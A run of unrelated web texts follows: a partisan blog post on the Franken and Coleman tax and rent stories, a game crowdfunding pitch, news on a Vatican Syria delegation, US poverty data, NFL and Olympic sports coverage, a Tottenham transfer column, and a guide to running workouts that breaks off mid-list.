Before I destroy Coleman, I'm going to point out a major oversight by the right wing when it comes to Franken's tax problem. Al Franken made an effort to pay his taxes, he hired an accountant like most everybody else, but the accountant made a major mistake. As a result "Franken paid state income taxes only in the states where he lived -- New York and Minnesota. That meant he overpaid taxes in those two states, but shorted the other 17 states by more than $50,000." [Source: MPR] Al Franken is not a tax expert; he is not running for 'US Tax Expert,' and he made a mistake, but at least Franken made an attempt, Norm can't make that same claim.
To begin the ridicule I'll reference the original article from the National Journal. The very fact that such an article was even published about Norm Coleman predicates a complete failure in even attempting to pay the rent. What's more is that his excuse is just terrible, "I can assure Minnesotans that while partisans will attempt to raise questions about the perception of my paying rent to live in a bedroom of a house of a friend, there is no extraordinary reason for my staying there other than it fit my family's budget." Let me get this straight, Norm Coleman is staying in a basement because of financial reasons; the $169,300 he earns a year as a US Senator just simply isn't enough for him to stay on top of his rent. So either Coleman simply doesn't have the money, or he wasn't responsible enough to just pay the rent. This presents an interesting scenario, take your pick; either he is struggling to make ends meet with an income greater than 96.87% [Source: US Census 2005] of the population or Norm Coleman is an idiot.
At this juncture I'm ready to name both candidates incompetent when it comes to the basic concept of exchanging money for goods or services, but Norm may currently have the slight edge. I would now expect certain right wingers (MN Democrats Exposed) to end their relentless crusade against Franken and his taxes after Norm's latest demonstration of hypocrisy. Now to drop a baseless right wing style quote: Norm Coleman is creating a pattern of not being upfront with voters. Actually Norm Coleman made a mistake, and so did Al Franken. As a result the discussion should shift away from these stupid distractions and move onto their differences on issues that matter. For example Norm continues to support the Iraq War, Franken supports a withdrawl; Coleman is not in favor of a gas tax that would generate additional funding to support infrastructure, while Franken believes extra money should be rasied to ensure our roadways are save after the 35W Bridge collapse. More on the issues in future posts.About
Hello, we are Deep Fried Enterprises, the creators of the work in progress 'Captain McSpacebiff'.
Captain McSpacebiff is wave defense first person shooter, in space. Having crash landed on an uncharted moon, Captain McSpacebiff must battle an onslaught of aliens, robots and local wildlife while trying to recover parts of his damaged ship. You must rely on your accurate shooting and quick wits to survive to the end.
Captain McSpacebiff will run on Windows, Mac and Linux.
Captain McSpacebiff uses an unusual, experimental art style. It combines some elements found in cell shaded games with a pseudo 8-bit texture style. We call this style of graphics pseudo-pixel. The environment is intended to be minimalistic, land forms are suggested by outlines, and the wide open areas are meant to force fast-paced, unforgiving gameplay.
The gameplay of Captain McSpacebiff is designed to present a steep learning curve to reward players for practicing. Seasoned players will likely be better than beginners because learning your enemies patterns and behavior is how you will be able to overcome them. Your weapons will keep you alive, they are trusty and will always fire where you aim them. If you can put your crosshair on an enemy, you can hit it.
You can also rely on your quick feet for speed and agility. If you see a laser approaching you, there is a solid chance you will have time to step out of its way. If you can master dodging your enemies attacks, that skill will translate into longer survival. Dodging attacks is almost as important as destroying your enemies. The player who can best master dodging their opponents attacks while simultaneously headshooting them will survive longer than anyone else, and may even live to escape this wasteland asteroid. All those less skilled, will perish at the hands of the brutal aliens and their robot minions.
With the support of this kickstarter we can make Captain McSpacebiff the way we want to, without having to leave it half finished or having to rush it into production before it is ready. Additionally, the amount of support we receive during this campaign will determine the scale of our future projects. As long as we have the funds to create fun and challenging games, we will do so.
Follow us at IndieDB Facebook Twitter.- Cardinal Timothy Dolan of New York will be part of a papal delegation to Syria that will voice “fraternal solidarity” with the Syrian people and encourage peace amid the country’s violent conflict.
The Holy See’s Secretary of State, Cardinal Tarcisio Bertone, said Oct. 16 that the world’s Catholic bishops cannot be “mere spectators of a tragedy such as the one that is now unfolding in Syria.”
He said a political answer is “the only possible solution to the crisis.” The Syrian population and displaced persons have endured “immense suffering.”
He said the delegation will travel to Damascus next week.
“In the meantime we pray that reason and compassion might prevail,” Cardinal Bertone said.
Fighting between rebels and the Syrian government has killed an estimated 30,000 people.
Syria’s Christians tend to support the government, given the fate they expect to suffer if Islamists take control. Rebels have targeted Christians, bombing several churches and driving tens of thousands of them from their homes.
Lakhdar Brahimi, a peace envoy from the United Nations and the Arab League, is presently touring the region to try to find a solution to the conflict. He arrived in Lebanon Oct. 17 after visiting Turkey, Saudi Arabia, Iran and Iraq.
He is seeking a three-day ceasefire for the Muslim holiday Eid, which is observed on Oct. 26. The rebel Free Syrian Army has rejected the proposal on the grounds it would allow the government to prepare more offensives. The Syrian National Council, which opposes the government, has tentatively welcomed the proposal.
Another member of the papal delegation will be Cardinal Jean-Louis Tauran, the President of the Pontifical Council for Interreligious Dialogue.
On Oct. 17 at the Synod of Bishops on the New Evangelization, he said the group will show “human solidarity towards people who are suffering.” It will also express spiritual solidarity.
The delegation aims to find a solution to the conflict.
“We must help those who are in charge of society and the general political landscape,” the cardinal said, according to Vatican Radio.
In addition to Cardinals Dolan and Tauran, the delegation will include Cardinal Laurent Mosengwo Pasinya of Kinshasa, Democratic Republic of Congo; Bishop Fabio Suescun Mutis, military ordinary of Colombia; and Bishop Joseph Nguyen Nang of Phat Diem, Vietnam.
Vatican officials in the delegation include Archbishop Dominique Mamberti, the Holy See’s Secretary for Relations with States, and Msgr. Alberto Ortega of the Secretariat of State.The Missouri Legislature passed a bill aimed at giving divorced parents more equal custody over their children.
The House voted 154-2 on Tuesday to prohibit courts from presuming a parent is more qualified to be a guardian based on his or her sex. The Senate passed the legislation on a 28-0 vote two weeks ago, so now it heads to the governor.
If a divorcing couple disagrees on how to share custody, the court would have to settle on written findings of fact before resolving the dispute. The bill also calls for the state courts administrator to post parenting plan guidelines online.
Democratic Rep. Gina Mitten, a lawyer, said the legislation still has a few technical issues that lawmakers will need to revisit next year.
(Copyright 2016 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.)As President Barack Obama is set to begin his second term, new statistics on America’s poverty rate indicate that nearly 50 million Americans, more than 16 percent of the population, are struggling to survive.
New figures released by the Census Bureau this week found a spike in poverty numbers last year, going from 49 million in 2010 to 49.7 million last year. The numbers may come as a surprise to Congress, which estimated in September that the poverty rate would drop to 46.2 million. One of the most startling findings showed that almost 20 percent of American children continue to live in poverty.
The Associated Press reports that the new figures are based on an updated formula devised by the Census Bureau to help give the government a better understanding for how to use safety-net programs.
The numbers found that Hispanics and people living in urban areas had a higher chance of struggling to make it financially. Poverty among full-time and part-time workers also saw a jump from its 2010 numbers.
Based on the formula implemented by the Census Bureau, California tops the list as the sate most likely to bring about poverty. The top five is rounded out by the District of Columbia, Arizona, Florida and Georgia.
“We’re seeing a very slow recovery, with increases in poverty among workers due to more new jobs which are low-wage,” Timothy Smeeding, a University of Wisconsin-Madison economist who specializes in poverty, told The Associated Press. “As a whole, the safety net is holding many people up, while California is struggling more because it’s relatively harder there to qualify for food stamps and other benefits.”
Adults in the age groups of 18 to 64 and 65 and older saw spikes in their poverty rates. Hispanics and Asians saw greater spikes than white people, according to the statistics. Black people saw a slight decrease in poverty, but still have a rate of 25.7 percent.
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(TM and © Copyright 2012 CBS Radio Inc. and its relevant subsidiaries. CBS RADIO and EYE Logo TM and Copyright 2012 CBS Broadcasting Inc. Used under license. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed. The Associated Press contributed to this report.)The American Library Association has struck two new task forces to investigate the future of ebooks in libraries: the Equitable Access to Electronic Content Task Force and the E-book Task Force. The objective is to come up with a nationwide, coherent strategy to address the fact that some publishers will not make their books available as lendable ebooks, while others require ebooks to be packaged in crippleware formats that self-destruct after a certain number of checkouts.
ALA members and the public can communicate with ALA on these issues through a new website dedicated to the challenges and potential solutions in libraries for improved access to electronic content. This site will be live within 10 days, and the URL to be announced at launch. These efforts reflect on libraries' long-standing principles on equitable access to information, reader privacy, intellectual freedom, and the lawful right of libraries to purchase and lend materials to the public.
ALA calls upon all stakeholders to join us in crafting 21st century solutions that will ensure equitable access to information for all.Or maybe the real story is still the tear-jerking grins on the faces of Megan and Mandy Penney and their mother Denise when they were unexpectedly presented with a brand new wheelchair-accessible van Monday night.
The 24-year-old Penney sisters both have cerebral palsy.
The Corner Brook family was kept completely in the dark about the surprise awaiting them when they were brought to the Corner Brook Civic Centre Monday.
In November, their longtime friend Lawrence McCarthy began a campaign to try to raise enough money to buy the twin girls and their mom a used van. McCarthy has known them for 15 years, having met them as a volunteer with the Canadian Association of Disabled Skiers at Marble Mountain. Ever since, they have fostered a relationship that involves going out for dinners and recreational pursuits any time of the year.
This past summer, while taking the girls out on his Sea-Doo, McCarthy realized their current van, which was bought for the girls around eight years ago, needed replacing.
He started a campaign involving sending emails to friends, asking them to donate $20 to the cause and to forward the email on to three of their friends. The campaign eventually branched into Facebook, which would seem a likely way or the family to easily find out about it.
Some people gave only $10, while others gave much more than $20. It all was crucial to the final tally, said McCarthy.
McCarthy restricted the Penneys from accessing his initial Facebook post and that restriction carried on each time someone shared it.
In the end, the effort far exceeded expectations and raised enough money to get a brand new van for the family, rather than a good used one.
“This would not be possible without social media and every person who helped, but the girls had no clue about it,” he said. “I spoke with a lot of people who would tell me they just got off the phone with them and it was obvious they didn’t know anything about it.”
McCarthy said his worst fear was accidentally tipping them off himself.
“I had to limit my contact with them as much as I could because I was afraid I might let the cat out of the bag,” he said.
McCarthy managed to get the Penneys to the civic centre Monday under the guise of them going to a special event being organized by his employer.
Or maybe the real story is still the tear-jerking grins on the faces of Megan and Mandy Penney and their mother Denise when they were unexpectedly presented with a brand new wheelchair-accessible van Monday night.
The 24-year-old Penney sisters both have cerebral palsy.
The Corner Brook family was kept completely in the dark about the surprise awaiting them when they were brought to the Corner Brook Civic Centre Monday.
In November, their longtime friend Lawrence McCarthy began a campaign to try to raise enough money to buy the twin girls and their mom a used van. McCarthy has known them for 15 years, having met them as a volunteer with the Canadian Association of Disabled Skiers at Marble Mountain. Ever since, they have fostered a relationship that involves going out for dinners and recreational pursuits any time of the year.
This past summer, while taking the girls out on his Sea-Doo, McCarthy realized their current van, which was bought for the girls around eight years ago, needed replacing.
He started a campaign involving sending emails to friends, asking them to donate $20 to the cause and to forward the email on to three of their friends. The campaign eventually branched into Facebook, which would seem a likely way or the family to easily find out about it.
Some people gave only $10, while others gave much more than $20. It all was crucial to the final tally, said McCarthy.
McCarthy restricted the Penneys from accessing his initial Facebook post and that restriction carried on each time someone shared it.
In the end, the effort far exceeded expectations and raised enough money to get a brand new van for the family, rather than a good used one.
“This would not be possible without social media and every person who helped, but the girls had no clue about it,” he said. “I spoke with a lot of people who would tell me they just got off the phone with them and it was obvious they didn’t know anything about it.”
McCarthy said his worst fear was accidentally tipping them off himself.
“I had to limit my contact with them as much as I could because I was afraid I might let the cat out of the bag,” he said.
McCarthy managed to get the Penneys to the civic centre Monday under the guise of them going to a special event being organized by his employer.The Cowboys received some bad news on Tuesday. Per ESPN, second-year Dallas defensive end Randy Gregory is reportedly facing another drug-related suspension after already being suspended for the first four games of the 2016 NFL season. More details from NFL insider Ian Rapoport.
#Cowboys DE Randy Gregory is headed to a treatment center in the wake of another drug suspension coming, source say (as ESPN reported). — Ian Rapoport (@RapSheet) July 26, 2016
There is real worry on #Cowboys DE Randy Gregory, who has shut out some people close to him. The hope is treatment helps this time around. — Ian Rapoport (@RapSheet) July 26, 2016
My understanding of Randy Gregory's coming suspension is its for 10 games, at least. There is concern on #Cowboys that he may not play again — Ian Rapoport (@RapSheet) July 26, 2016
10 games is obviously a long suspension. And it appears there's also concern he just might never return.
Dallas received a lot of credit for selecting Gregory in the second round of the 2015 NFL Draft. Many pegged him as a "steal" at the time, but now it's clear why he fell further than expected.
Gregory's loss hurts the Cowboys because Dallas is already very thin at defensive end. Starter DeMarcus Lawrence is suspended for the first four games of the season. And it doesn't stop there for Dallas. Cowboys middle linebacker Rolando McClain is suspended for the first 10 games of 2016.
The Philadelphia Eagles first play the Cowboys in Week 8 this year. Both Gregory and McClain won't be available to suit up in that game.
Whoops...via press release:
TNT
Propelled by Sunday night’s season premiere of Falling Skies, Thursday night’s launch of the new competition series The Hero and the closing game of the NBA Playoffs Eastern Conference Finals, TNT scored its 7th consecutive sweep of basic cable’s weekly primetime rankings. TNT once again ranked #1 in primetime with total viewers, adults 25-54, adults 18-49 and adults 18-34. The network also took first-place among adults 25-54 in total day.
TNT’s epic drama Falling Skies, starring Noah Wyle, opened its third season with 4.2 million viewers in Live + Same Day and ranked as basic cable’s #1 scripted program for the week among adults 18-49 (1.9 million) and adults 25-54 (2.1 million). While Falling Skies‘ delivery of adults 18-49 was up slightly over last year’s season premiere, the show garnered significant growth among the younger set, boosting its delivery of adults 18-34 (772,000) by +24%.
TNT’s new competition series The Hero is off to a strong start, with last Thursday’s premiere garnering 1.7 million viewers in Live + 3. The series, which is hosted and executive-produced by Dwayne “The Rock” Johnson, has drawn 1 million adults 25-54 and 1 million adults 18-49 in Live + 3.
TNT’s exclusive presentation of the 2013 NBA Eastern Conference Finals Game 7 between the Miami Heat and Indiana Pacers topped the charts as basic cable’s #1 program for the week among total viewers (11.6 million), adults 25-54 (6 |
KRASNAYA POLYANA, Russia – In eight words, the best slopestyle snowboarder in the world perfectly encapsulated the problem with his sport. Mark McMorris, a fresh-faced 20-year-old Canadian, the sort of kid who says "heck" without any irony, wore a look somewhere between perturbed and angry. In the aftermath of dubious scoring in the slopestyle qualifying round that left him with an uphill climb to the medal stand, he tried to shrug off his disappointment.
"It's a judged sport," he said. "What can you do?"
Up here at Rosa Khutor Extreme Park, almost every sport falls under the purview of judges, a group of people tasked with impartiality despite inherent biases. In slopestyle's case, the judging criteria is particularly ridiculous. Slopestyle runs are scored 1 to 100 based on "overall impression." It is nebulous by design, giving judges the sort of rope with which they hang themselves far too often.
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Such is the case in any judged sport, really, and as slopestyle hits the Olympic program for the first time this year, the lingering beefs of riders fatigued by judging snafus are finding their largest platform yet. McMorris wasn't the only one complaining. American Sage Kotsenburg, who prides himself on throwing unique tricks, found himself in the same place as McMorris: without an automatic invitation to Saturday's finals despite the sort of run that could have warranted as much.
[ Related: Slopestyle Olympic viewers' guide ]
Story continues
The riders' misgivings center around the issue that drives almost all of their concerns: They're run by a bunch of skiers. When the International Olympic Committee left snowboarding under the International Ski Federation's purview, it took a sport that evolved because of boredom with skiing and handed it back to those who held it in the lowest regard. While the current judges do have experience with the sport, almost none have competed professionally, and their scores tend to reflect a behind-the-times nonchalance that peeves competitors today. That alone is enough for any sane-minded person to raise an eyebrow, but then the IOC did award Sochi the Olympics, so par for the course.
Still, with snowboarding playing as large a part here as it now does, the sport demands a complete overhaul to the system that employs a head judge who serves as grand poobah to the six-judge panel that levies the scores. The judges are allowed to consult with one another. The head judge will snoop in on the scores and suggest changes. It is a system ripe for corruption, which, come to think of it, does dovetail rather well with the Olympic standard.
Think about being one of the six judges. Nobody wants to award a score drastically different than the rest, so the system encourages groupthink. Moreover, if such outliers do exist, the head judge often will nudge the judge more toward the rest of the group, or toward his or her own personal opinion, which creates the sort of fear nobody needs: that disagreeing with the boss will have deep repercussions. Already judging is rife enough with confirmation and recency biases that its myriad issues need no additional complications, let alone countless ones.
[ Related: Slopestyle course improved but jumps a concern ]
While McMorris and Kotsenburg's complaints differed – McMorris thought judges undersold his solid run and Kotsenburg questioned why they're so biased against the sorts of stylistic runs in which he specializes – both echoed the cries of others who believe judging can, and should, be better.
The most obvious fix: scrap the judge-by-committee lunacy and force judges to think for themselves without some seigneur peering over their shoulders ready to whap 'em on the wrist. And right alongside that, ensure, above all, the judges are qualified by selecting those who know the sport best: former high-level snowboarders with the knowledge necessary to translate the complicated language of elite snowboarding.
The greatest worry among competition snowboarders is simple: It's turning into figure skating, with a routine that is honed down to the very last degree of spinning. Kotsenburg disdains the spin-to-win ethos and craves the nuance of a Japan air, a trick he threw twice Thursday that involved a beautiful grab-and-tweak maneuvering of his board. He finished with an 86.5, with one judge appreciating his effort with a 93 and the rest, including a U.S. judge who gave him an 83, scoffing at it.
"We're not robots," Kotsenburg said. "They like to see robotic tricks, though."
McMorris, with his finely honed triple-flip jumps, could fall into that category. Even Kotsenburg would acknowledge a well-landed triple deserves a high score so long as the rest of the run was clean. McMorris' was, and when 89.25 flashed on the videoboard, the pain from riding with a broken rib ceded to that of feeling wronged.
"It sucks," McMorris said. "It sucks when you fall, but to land a really good run that you're really proud of with one of the only legitimate triple corks of the day and not even come close. I was in seventh, I think? That's pretty ridiculous."
[ Related: Slopestyle's Olympic debut met with empty seats ]
It was, and because he wasn't among the top four in his heat, he will face 20 other riders in the semifinals Saturday for the final four spots in the 12-man final. Between now and then, perhaps McMorris will change up his run to better fit what the eight finalists chosen Thursday showed. Kotsenburg has no such plans.
"I'd rather not conform to making the judges happy," Kotsenburg said.
Nor should he. Judged sports inspire enough problems as is. For the IOC to double down and FIS to play its accomplice in allowing this process to continue unabated is at best willful ignorance and at worst inviting fraudulence.
It's too late to change the system now. And it's too bad. For its introduction to the Olympic world, slopestyle deserved far better.
More Winter Olympic coverage on Yahoo Sports:Former White House press secretary Sean Spicer Sean Michael SpicerFive political moments to watch for at the Oscars Sean Spicer joins 'Extra' as'special DC correspondent' White House spokeswoman leaving to join PR firm MORE in a new interview said he has never “knowingly" lied to the American people.
“I don’t think so,” Spicer told ABC News “Good Morning America” when asked if he has knowingly lied to Americans.
“Unequivocally you can say no?” the host asked.
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“Look, again, you want to find something. I have not knowingly done anything to do that, no,” Spicer said.
The interview is Spicer’s first since his surprise appearance at the Emmy Awards Sunday night, when he mocked his own rhetoric about the crowd size at President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE’s inauguration.
“This will be the largest audience to witness an Emmys, period, both in-person and around the world,” Spicer said during the award show, poking at how he described Trump’s inaugural crowd to reporters in January.
Spicer, who left his post at the White House last month, said on Thursday the appearance was not part of an effort to "rehab" his image.
"I feel very good with my image," he said on ABC. "I'm very happy with myself."
Read more from The Hill:
Reporter says Spicer threatened legal action over texted, emailed questionsKorea Aerospace Industries (KAI) has revealed the prototype that will form the basis of Lockheed Martin’s bid for the US Air Force’s T-X next generation trainer competition.
Based on the T-50 family of trainer/light fighter aircraft, the company’s “T-X demonstrator aircraft” will conduct ground and flight tests in 2016, says KAI in an email to Flightglobal. In 2017, KAI plans flight tests in the USA.
The aircraft features several new features, including a large area display (LAD), embedded training systems, and an aerial refuelling capability.
Korea Aerospace Industries
Aesthetically, the most striking change from the original T-50 is the addition of a large dorsal hump.
The original T-50, along with its variants, was developed via technology transfer from Lockheed Martin with offsets related to South Korea’s large F-16 fleet.
The lucrative T-X competition has always been a major objective of the T-50 programme, which is a source of great national pride in South Korea. The country's president Park Geun-hye was in attendance at the rollout ceremony.
The winner of the T-X competition will eventually replace the 55-year old Northrop T-38 Talon, which has served as the USAF’s advanced jet trainer since the 1960s. The procurement could reach up to 350 units.
Korea Aerospace Industries
The appearance of the Lockheed/KAI T-X technology demonstrator is notable in that it makes the Lockheed/KAI team the first competitor to show its hand. Over the years KAI and Lockheed have displayed models at air shows of a baseline T-50 with T-X markings.
The other T-X competitors are Northrop Grumman, Boeing (which is teaming with Saab) and Alenia Aermacchi.
On 12 December, Northrop Grumman grudgingly allowed journalists to a view of a model of its planned offering for the requirement, but allowed no photographs. Days later in an interview with Flightglobal, Boeing Phantom Works president Darryl Davis refused to provide any more details about the US firm’s planned clean-sheet offering with Saab.After having his contract terminated by West Ham just minutes after the 2014-15 season ended, Sam Allardyce has been doing some TV punditry for the first few weeks of the new campaign.
During one of these outings on Sunday, Allardyce commented that Chelsea would not have signed Pedro for €30 million from Barcelona had they not suffered two adverse results -- a draw with Swansea and a 3-0 defeat to Man City -- in the first two games of the season. Managers, he said, often go into seasons thinking they have a good enough squad, but then the early games demonstrate that is perhaps not the case and they are frantically forced to dip into the transfer market.
While Chelsea manager Jose Mourinho may have had more of a plan for Pedro than Allardyce gives him credit for, this nascent season has shown that nowhere is his theory more true than at Tottenham. Spurs' start to the season illustrates that they, too, should be entering the transfer market, and quickly. With the window closing rapidly, they could be caught short if they don't act fast because things are already looking problematic.
Leicester City Leicester City Tottenham Hotspur Tottenham Hotspur 1 1 FT Game Details GameCast
Lineups and Stats
Indeed, Mauricio Pochettino's men laboured to another vaguely troubling result -- a 1-1 draw -- at Leicester on Saturday, taking the lead and then promptly waving Riyad Mahrez through to equalise. Spurs haven't won any of their three matches so far, which is not necessarily a reason for panic but is at least a cause for concern, particularly as this was the second game running in which they have rather limply given away a lead.
Harry Kane is their only centre-forward and he hasn't scored in any of those games, but against Leicester he showed he is suffering from an obvious lack of support. Erik Lamela was theoretically supposed to offer that in the absence of the injured Christian Eriksen, but Lamela gave another example of why he's been such a disappointment since his move from Roma two years ago. Mousa Dembele didn't create anything of note, while hot-and-cold winger Nacer Chadli had an afternoon to forget.
In midfield, Eric Dier -- a defender by trade -- was once again deployed in the holding role, a position that Pochettino will persist with, but one in which Dier has yet to convince. Meanwhile, 24-year-old Ryan Mason looks like a grizzled old veteran next to the promising trio of Dele Alli, Tom Carroll and Alex Pritchard, with only Nabil Bentaleb considered another serious option in the middle.
And Tottenham's defence is a concern, too. Jan Vertonghen looks out of form; Toby Alderweireld and Kevin Wimmer are bedding in after summer moves from Atletico Madrid (via Southampton) and Cologne, respectively; and Federico Fazio is halfway out the door to West Brom. Throw in the residual possibility that goalkeeper Hugo Lloris could leave, too, and you've got a squad that suddenly doesn't look too perky.
But squad issues as the final week of the transfer window looms large are just the start of the problems. Consider the workload that lies ahead for this Tottenham team. As well as the grueling Premier League campaign, they will have the familiar chore of Thursday nights in the Europa League starting in mid-September. Additionally, a side like theirs is expected to have a serious run at one, ideally both, of the domestic cup competitions on the basis that it's their best chance of any tangible glory. Such success would at least rouse their fans from the tedium of wondering whether they will finish fifth, sixth, seventh or eighth -- but the resources available to Pochettino look rather thin.
So what can Spurs do to fix the situation before their season takes a rather grim turn? As the transfer window ticks toward its conclusion, they need at least one striker to either help or cover for Kane; perhaps another creative type to make a difference when Eriksen isn't around; certainly a commanding presence in midfield; and potentially some more cover in defence. Essentially, they require an entirely new spine to the team. Some of those arrivals are more likely than others, and at the very least it's heartening for Spurs fans that Pochettino recognises there is work to be done.
"We need to have a balance; we have some targets, and maybe in the next few days we can help [the squad] a bit more," he said after the Leicester game. This followed comments made last week: "I think we need one more striker, to be sure, for different games -- sometimes to play together. It's obvious we need one more offensive player. We have confidence we will bring in some offensive player, but I can't give the name today."
Is Saido Berahino the man to help Harry Kane and Spurs up front?
Young Cameroon forward Clinton N'Jie has arrived from Lyon, and Tottenham have seen a £15m bid rejected for West Brom's Saido Berahino, while there is also talk that a move for QPR striker Charlie Austin could come before Sept. 1. To sort their central-midfielder issues, Spurs have been linked with Victor Wanyama, although that seems slightly unlikely given that Southampton don't need to sell and will demand the sort of fee that Spurs chairman Daniel Levy doesn't seem especially keen to spend these days.
Levy's reticence is well-founded, given the dreadful mess Tottenham have made with big-money buys in recent years -- Lamela, Roberto Soldado and Helder Postiga, to name but three. With so many high-profile transfers having gone awry at White Hart Lane, Spurs could be forgiven for not bothering at all with the transfer window. However, going by Allardyce's theory, these first few games have indicated that the squad at White Hart Lane isn't particularly strong.
If Tottenham are to do anything better than tread water this season, Levy will have to crank into action in the closing few days of the transfer window. Given the failures of previous transfer windows, that is likely to make a few Spurs fans nervous. There is a concern that the bizarre line Graeme Souness used about Arsenal, that they're a team of "son-in-laws" -- pleasant young men without a sufficient amount of devil in them -- applies to Tottenham too.
There aren't too many authority figures in this Tottenham side, which probably explains why 22-year-old Kane -- a local boy, crowd favourite and excellent player -- is vice captain, purely on the basis that he scored 21 Premier League goals last season. We may be only three games in, but on the evidence of the season so far, Tottenham need to improve both their starting XI and their squad depth. Otherwise, it could be another long season of frustration at White Hart Lane.
Nick Miller is a writer for ESPN FC, covering Premier League and European football. Follow him on Twitter @NickMiller79.Written by
When did running get so complicated?
I ask myself that all the time, usually when frustrated by a tough workout on my training plan or a confusing training concept.
Running is such a simple act — exactly what drew me to it in the first place — until you complicate it with drills, exercises, and complex workouts.
Of course, it probably comes as no surprise that the workouts on your training plan aren’t there just to piss you off. They’re included to help you run stronger, faster, and for longer distances.
Unfortunately that doesn’t make it any less complicated, so today I’m going to break down eight common running workouts, and share examples of how the work, and show you how to structure a well rounded week of training.
The Importance of Variety
Before we start wading through the details, let’s first talk about variety. More specifically, why variety in your training is so important.
There’s a little running phenomenon I like to call “Single Speed Running,” where a runner logs nearly all of his or her miles at the exact same effort. Day after day. That speed is usually around 75 percent of max effort — not fast enough to really make your body work hard and adapt, but too fast to build much endurance or count as a “recovery” run.
Sound familiar?
Chances are it does, since that’s exactly what most runners do.
Not only does Single Speed Running keep you from getting stronger; it also significantly increases the risk of injury: our bodies need variety.
We need uber slow runs just as much as we need Lightning Bolt style sprints. The variety works the cardiovascular system and muscles in different ways, and makes room for both strength-building and recovery.
By understanding the importance of each workout, you’re more likely to begin incorporating a variety into your training, and in return, reaping the benefits.
But first, those workouts need to become less daunting and confusing … the goal of this post.
8 Common Running Workouts, Explained (With Examples)
Below you’ll find a description of eight common running workouts for endurance runners. With each explanation, I’ve also included examples of how to put the workout to use.
Let’s start with the easiest:
1. The Easy Run
I’m putting the easy run first because it’s often the forgotten workout. But it’s also one of the most important.
Running at an easy pace builds endurance, promotes proper form, establishes routine and base mileage, and facilitates recovery. This type of run should be your most common, making up about 65-80% of your mileage (the percentage will vary depending your running philosophy).
The easy run is your aerobic workout, staying within heart-rate zones 1 and 2. If you’re unsure where that is for you, ask yourself this question when you’re running:
Can I keep a conversation going, speaking in paragraphs with full sentences?
Ask it out loud if you’re really unsure … just maybe not when others are within earshot.
If the answer is yes, you’re running in that aerobic, or easy zone, where your body and muscles have the energy and oxygen they need. For most runners, this is also where they should run the majority of their long run miles.
Sample Workout
Workout: 6 miles at an easy, conversational pace. There should be no set structure or fluctuations in speed, but the hardest part will be resisting the temptation to speed up. Workout: 45 minutes at an easy pace. With this variation, distance doesn’t matter. You’re running for time instead of distance, so there’s no pressure to hit certain mileage.
2. The Tempo Run
The tempo run’s pace is often called comfortably hard. Difficult enough to require pushing, but comfortable enough to where you can sustain the effort. This is often around 85-90% of your max heart-rate, or just a hair slower than your 10K race pace, where short sentences are possible, but a full-blown conversation isn’t.
If you’re unsure of your paces, check out this pace predictor. It isn’t perfect, but will give you a ballpark pace to aim for.
We run tempo workouts to increase our lactate threshold, or that point at which your body switches from its aerobic system to its anaerobic system, and quickly fatigues thereafter. The higher your threshold at a certain pace, the longer you can sustain that given pace and build strength, speed, and endurance.
Sample Workouts
Workout: 40 minute run with 3 x 5 minutes at tempo pace, and a 3 minute recovery in between. For this style workout, you’ll start the 40-minute run with an easy warmup, once warm, begin five minute tempo intervals with three minutes of rest, and repeat three times. Allow for time at the end to cool down. Workout: 90 minute run with 3 x 15 minutes at tempo pace, and an 8 minute recovery in between. A workout like this, with longer tempo intervals, is great for marathon racing speed. Workout: 60 minute run with 3 x 8 minutes at a tempo pace, and a 4 minute recovery, include hills during tempo sections. Tempo workouts can also include hill training, which is particularly helpful while training for a hilly race.
3. The Progression Workout
A progression workout is one of my favorites, and commonly found in marathon training plans. The idea is simple:
Start slow, finish fast.
Over the course of your workout, you’ll increase in pace by starting easy and finishing hard.
This progression in pace gives you a complete workout, using both your aerobic and anaerobic systems, without over-straining your body or requiring the same recovery time as a traditional speed workout.
Sample Workouts
Thirds Workout: 15 minutes at an easy pace, 15 minutes at a comfortably hard pace, 15 minutes at a hard pace. In this workout, you’ll increase speed at every 15 minute increment throughout the run, starting at an easy pace and making your way up to a hard pace. Fast Finish Workout: 30 minutes at a comfortably easy pace, 10 minutes at a hard pace, 5 minutes all out. Here you’re maintaining the easy pace throughout most of the run, until the final 15 minutes when you increase to hard and then all out. This a great option for mimicking a late race push.
4. The Hill Workout
Hill workouts are often referred to as “speedwork in disguise,” because they offer many of the same benefits of a traditional speed workout, without having to run at top speed.
Running uphill is all about building that explosive power that promotes speed and improved running economy.
Running downhill works your quads, and builds strength in your tendons and joints.
Both are important to a well-balanced runner, so I recommend incorporating uphill and downhill days into training for any sort of hilly course. Just focus your workout on one at a time to get the biggest benefit and reduce the risk of injury.
Hill workouts can be done through hard, short sprints up (or down) a hill, or by running a sustained, gradual hill.
Sample Workouts
Short Hill Repeats: 8 hill sprint repeats with light jog back down to rest, following a 3-mile easy run. This type of hill repeat will build explosive strength in the legs, and teach you how to attack shorter hills during a race. Sustained Hill Repeats: 5 x half-mile hill climbs on a gradual incline with easy run back down to rest. This is perfect when training for a hilly race, and builds endurance and strength on climbs and flats.
5. The Interval Workout
When you picture the quintessential speed workout, you’re probably thinking of interval training. A set distance, repeated a set number of times, at a set pace. Usually with a short rest period in between. Interval distances can be anywhere from 100 meters to a mile or more. Most marathon training plans focus on distances of 400 meters or longer, but the details are left to the workout creator.
Warning: Don’t piss off your workout creator. Interval workouts will likely be your most painful runs, the ones that leave you doubled over and gasping for air.
Most intervals are designed to build speed and strength by working your anaerobic system, or lactate threshold running, and focus on shorter distances of a mile or less. They can be run on a track or along a set loop.
Sample Workouts
Workout: 8 x 400 meters on the track with a 400 meter light jog in between. Try to maintain a consistent pace for each of the 400 meter intervals. Yasso 800s: 10 x 800 meters on the track, with a light jog for the same amount of time it took you to run each 800 in between. The classic “marathon predictor workout.” I don’t believe it’s great at predicting race times, but it’s certainly a solid speed and endurance building option (and very tough). Workout: 2 x 1,000 meters with 2 minute rest periods + 2 x 800 meters with 90 second rest periods + 2 x 400 meters on the track with 60 second rest periods. In this workout you’re decreasing in the length of each interval, but increasing in pace. Workout: 4 x 1,600m with 120 seconds recovery in between. This is an endurance building interval workout. Aim to maintain a consistent pace for each mile, or increase slightly in pace over each interval.
6. The Ladder Run
